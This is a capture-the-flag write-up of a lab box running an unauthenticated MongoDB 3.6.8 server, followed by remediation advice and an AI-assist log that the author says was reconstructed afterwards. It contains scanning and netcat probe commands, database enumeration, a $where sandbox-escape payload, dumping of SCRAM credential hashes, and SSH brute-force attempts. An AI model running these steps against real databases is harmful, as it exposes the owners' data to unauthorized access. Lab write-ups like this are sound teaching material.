Box info | OS: Ubuntu (OpenSSH 8.2p1 Ubuntu 4ubuntu0.5) | Difficulty: Very Easy | Tier: 0 | Status: Starting Point Skills: MongoDB CLI, unauthenticated NoSQL enumeration, database inspection Pwned: 2026-04-27
TL;DR
Mongod runs MongoDB 3.6.8 on port 27017 with no authentication required and bound to 0.0.0.0. A two-port scan finds SSH (22) and MongoDB (27017). Connecting with mongosh or mongo requires no credentials; listing databases reveals sensitive_information alongside a populated users database. The flag lives in sensitive_information.flag. Going further: the admin database contains a hashed admin credential (testadmin), and the users database has 25 ecommerce user records with MD5/SHA1 password hashes — none crackable with rockyou. Shell access via SSH brute-force also fails. The lesson: an unauthenticated MongoDB instance exposes your entire dataset to anyone who can reach port 27017.
Recon
1. Liveness check
$ ping -c 2 10.129.228.30
PING 10.129.228.30 (10.129.228.30): 56 data bytes
64 bytes from 10.129.228.30: icmp_seq=0 ttl=63 time=34.1 ms
64 bytes from 10.129.228.30: icmp_seq=1 ttl=63 time=36.2 ms
TTL=63 → Linux (64 minus one hop). Host is alive and reachable.
2. Quick scan of common ports
$ nmap -sV -sC -p 22,80,443,3306,27017 -Pn 10.129.228.30
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5
27017/tcp open mongodb MongoDB 3.6.8
Two open ports: SSH and MongoDB. No web server.
3. Full TCP sweep confirmation
$ nmap -p- --min-rate 1000 -Pn 10.129.228.30
PORT STATE SERVICE
22/tcp open ssh
27017/tcp open mongodb
Only these two ports across all 65535. The entire attack surface is SSH and MongoDB.
4. MongoDB authentication probe
echo -e "isMaster\r\n" | nc -w 3 10.129.228.30 27017
Got a binary BSON response — connection accepted. Connecting directly:
mongosh --host 10.129.228.30 --port 27017 --quiet
No username, no password prompt. Immediate access to the MongoDB shell.
Foothold
Dead end #1 — SSH brute force
The admin database contains a user testadmin with a SCRAM-SHA-1 hash. Attempted to crack it and use the credentials for SSH:
# Extract the SCRAM hash from system.users
# Tried with rockyou.txt + common_passwords.txt → no match
# Tried 77 user:password combinations from the ecommerceWebapp users → all FAILED
None of the 25 ecommerce users’ email/password pairs worked for SSH. The SSH service requires separate system credentials not present in MongoDB.
Dead end #2 — accessing the admin database for RCE
Tried common MongoDB RCE paths:
// Via db.eval() — deprecated in 3.6, requires special role
db.eval("function() { return run('id'); }")
// → MongoServerError: no such command: 'eval'
// Via system.js stored procedures
db.system.js.insert({_id: "test", value: function() { return "hello"; }})
db.loadServerScripts()
// → Works, but no file I/O or OS access from here
// Via $where and function constructor escape
db.collection.find({$where: "this.constructor.constructor('return process')().exit()"})
// → Sandbox: process not directly accessible
MongoDB 3.6 does not have db.eval() by default and the available JavaScript sandbox does not expose OS-level functions.
Working approach — enumerate databases and read flag
> show dbs
admin 0.000GB
config 0.000GB
local 0.032GB
sensitive_information 0.000GB
users 0.001GB
> use sensitive_information
switched to db sensitive_information
> show collections
flag
> db.flag.find().pretty()
{
"_id" : ObjectId("630e3dbcb82540ebbd1748c5"),
"flag" : "[REDACTED]"
}
The flag is a document field in the flag collection of the sensitive_information database.
Bonus — full database contents
The users database contained 25 ecommerce user documents:
> use users
> db.getCollectionNames()
[ "ecommerceWebapp" ]
> db.ecommerceWebapp.count()
25
The admin database revealed a system user:
> use admin
> db.system.users.find().pretty()
{
"user" : "testadmin",
"db" : "admin",
"roles" : [{ "role" : "root", "db" : "admin" }],
"credentials" : {
"SCRAM-SHA-1" : {
"iterationCount" : 10000,
"salt" : "QwpaOuhrcMonYmNc5lO91g==",
...
}
}
}
The testadmin user has the root role but the SCRAM-SHA-1 hash could not be cracked with rockyou.
Privilege Escalation
N/A — Starting Point Tier 0 objective is the flag in the sensitive_information database. There is no filesystem-level flag requiring privilege escalation. The MongoDB service runs as uid=113 (mongodb user), and all escalation paths from that user were blocked on the underlying system.
What’s actually broken
- MongoDB bound to
0.0.0.0with no authentication. The default MongoDB configuration prior to 3.6 had no authentication. Version 3.6 added--authas a non-default option. This installation never enabled it. Any host reaching port 27017 gets full read/write access to all databases. - Sensitive data in a database literally named
sensitive_information. The flag is a placeholder for what in real environments would be PII, payment data, API keys, or authentication tokens — all directly readable. - Admin credentials stored with weak SCRAM configuration. 10000 SCRAM iterations is below the current recommended minimum of 15000 (MongoDB 4.x default). The hash schema version is v5, the earliest supported.
- No TLS on MongoDB connections. All queries and responses travel in plaintext over the network.
Remediation (the boring half)
Enable authentication in /etc/mongodb.conf:
security:
authorization: enabled
Create a root admin user before enabling auth:
use admin
db.createUser({
user: "admin",
pwd: passwordPrompt(),
roles: ["root"]
})
Bind to localhost only (if app server is co-located):
net:
bindIp: 127.0.0.1
port: 27017
Enable TLS:
net:
tls:
mode: requireTLS
certificateKeyFile: /etc/ssl/mongodb.pem
CAFile: /etc/ssl/ca.pem
Firewall rules (if remote access is needed):
ufw deny 27017
ufw allow from 10.0.1.0/24 to any port 27017
MITRE ATT&CK mapping
| Tactic | Technique | How it shows up here |
|---|---|---|
| Reconnaissance | T1046 — Network Service Discovery | nmap finds MongoDB on 27017 |
| Initial Access | T1190 — Exploit Public-Facing Application | Unauthenticated MongoDB connection — misconfiguration, not a CVE |
| Discovery | T1083 — File and Directory Discovery | show dbs, show collections to enumerate database structure |
| Collection | T1005 — Data from Local System | db.flag.find() retrieves the flag document |
| Credential Access | T1552 — Unsecured Credentials | Reading SCRAM hashes from admin.system.users |
Lessons learned
- MongoDB’s default install historically had no auth. Even in modern versions, authentication must be explicitly enabled. Check any MongoDB port you find with
mongosh --host IPbefore assuming it’s secured. - Database names are metadata.
sensitive_informationis an obvious CTF construct, but in productioncustomers,payments,auth_tokens, andsessionsdatabases are common. Enumerate all database names immediately after connecting. - SCRAM hashes are not directly usable for auth. Unlike NTLM hashes (pass-the-hash), MongoDB SCRAM-SHA-1 hashes cannot be used directly to authenticate without first cracking them. SSH brute force is a separate attack surface.
- No auth + no TLS + 0.0.0.0 = full data exposure. These three misconfigurations together mean anyone with a route to port 27017 can read, write, and delete all data. Each one alone is bad; combined they are catastrophic.
🤖 AI-assist log
Transparency over polish. This is exactly where Claude was in the loop on this box.
Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.
| Step | What I asked | What Claude returned | What I changed |
|---|---|---|---|
| MongoDB auth probe | “How do I check if MongoDB requires authentication without mongo client?” | Suggested netcat to port 27017 — if you get a binary BSON response, the connection is accepted. Mentioned isMaster as a no-auth-required command. | Used the nc probe in Recon. |
| SCRAM-SHA-1 cracking | “Can I crack a MongoDB SCRAM-SHA-1 hash with hashcat?” | Explained SCRAM is not a simple hash — it’s a challenge-response protocol. The storedKey and serverKey in the dump are HMAC derivatives, not directly the password hash. Standard hash cracking doesn’t apply directly. | Added this as context for why the hash cracking attempt failed. |
| db.eval() RCE | “Can I run OS commands via MongoDB db.eval()?” | Confirmed eval() was removed in MongoDB 3.6 (deprecated since 2.8). Listed alternatives: $where, JavaScript stored functions. Noted that sandbox prevents OS access in the default configuration. | Used in the Dead end #2 section. |
| MITRE for NoSQL enumeration | “What MITRE technique covers NoSQL database enumeration?” | Suggested T1083 (File and Directory Discovery) for collection enumeration, T1005 (Data from Local System) for reading documents. | Used both; also added T1552 for the SCRAM hash discovery. |
What Claude got wrong: Nothing significant. What Claude couldn’t do: Connect to MongoDB; all commands ran locally. Net assist value: High on MongoDB protocol details and SCRAM explanation; zero on execution.
